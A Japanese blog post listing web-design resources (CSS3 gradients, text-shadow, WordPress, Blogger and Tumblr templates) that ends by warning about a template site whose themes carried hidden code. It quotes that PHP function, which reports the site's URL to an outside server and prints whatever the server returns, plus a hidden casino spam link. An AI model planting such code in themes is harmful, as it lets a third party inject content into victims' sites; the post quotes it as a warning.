n.designから、iPhoneのメモ帳をモチーフにしたデザインのWordPressテーマ「Notepad」がリリースされました。今までの最高傑作といっても良い程の素晴らしい出来となっていて、この先しばらくは至る所で目にすることになりそうです。

[ Notepad ]

CSS3で可能になったグラデーション。
角丸やtext-shadowと組み合わせれば、画像を一切使わずに立体的なボタンを作成したりすることもできます。

グラデーションは手動でやるにはやや面倒なので、こういったジェネレーターを利用すると良いでしょう。-webkit-gradient と -moz-linear-gradient のどちらにも対応しています。

適応する際は、background: -moz-linear-gradient (); background: -webkit-gradient (); とします。

[ CSS3 Gradient Generator ]

（text-shadowを使用した例）

フォントの上下左右に影を作って、立体感や陥没を作り出すCSSプロパティ「text-shadow」。

昔はダサめのサイトでしか使われていなかったのに、ここ最近は、デザインに凝ったセンスの良いサイトでは必ずといって良いほど使われるようになりました。

いきなりtext-shadowを見掛けるようになった理由としては、ぼかしが値が指定できるようになった事、IE以外のブラウザ（Firefox, Google Chrome, Safari, Opera）でサポートされた事、マシンパワーの飛躍的な向上とブログの普及に伴って、重いサイトへの耐性が出来た事などが考えられますが、ただ単に「流行」というのもあるでしょう。

どちらにしても、今が使い時なのは確かです。

text-shadow: Xpx Ypx Zpx #000 ;

• X=左右の陰影。プラスで右、マイナスで左方向へ。
• Y=上下の陰影。プラスで下、マイナスで上方向へ。
• Z=ぼかしの大きさ。

値は何がよいのか分からないという人は、まずは、全て1pxでやってみて、値を変更しつつ自分のサイトに合わせるのが良いでしょう。このプロパティは、特に平面で単一なカラーの背景よりも、グラデーションやグラフィカルな背景で使うとより効果的です。

text-shadow: 1px 1px 2px #999 ;

text-shadowプロパティ

text-shadow: 0px 1px 1px #fff ;

text-shadowプロパティ

text-shadow: 0px 0px 2px #000 ;

text-shadowプロパティ

テンプレートをDLする

• 120 Best Free Blogger Templates
• Blogger Templates
• eBlog Templates
• BTemplates

テンプレートを適用する

ダッシュボード > レイアウト > HTMLの編集 に、解凍してできた.xmlファイルをアップロード、テンプレートを保存して適用します。

思わずマウスでなぞってしまう。
めちゃいい。

[ Tag Cloudのスタイル ]

CSSEZ
レイアウト以外の部分も作れるオンラインツール。
※使用するにはユーザー登録が必要。

ベースになるcssレイアウトテンプレート配布サイト。
Layout Gala
Nice and Free CSS Templates
CSS Tinderbox

Twitterが合わない人は、Tumblrがおすすめです。
ブログネタのクリップとか、ストレスの掃き溜め用にと色々使えるので。

[cameron i/o tumblr themes]

んで、どうやらここ、テンプレートに細工をしてスパムサイトへのリンクを張るようにしていたそうです。どうも胡散臭いと思っていたら、やっぱりこういう事してたのか。

サイト自体は、糾弾されて現在消滅していますが、ここからダウンロードしたテンプレートを使用している人は、テンプレートをチェックして、見覚えのないリンクは全て外しましょう。（作者へのリンクは残そう！）

function credits()
{
$url = "http://get.templatesbrowser.com/wp.php?" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("get.templatesbrowser.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

<div id="copyl" style="display: none;"><a href="http://www.casinotropez.[...]">casino en ligne</a></div>

オンラインカジノ関係のサイトですね。
ともかく、テンプレートをダウンロードする場合は、作者サイトやWordPress公式のみの使用をオススメします。同じ理由で、フリーウェアなども勝手に自サーバーにアップして無断配布しているところは避けましょう。

templatesbrowser.comを紹介していたブログは結構観たので、被害者は相当いそう。

[livedoor ニュース]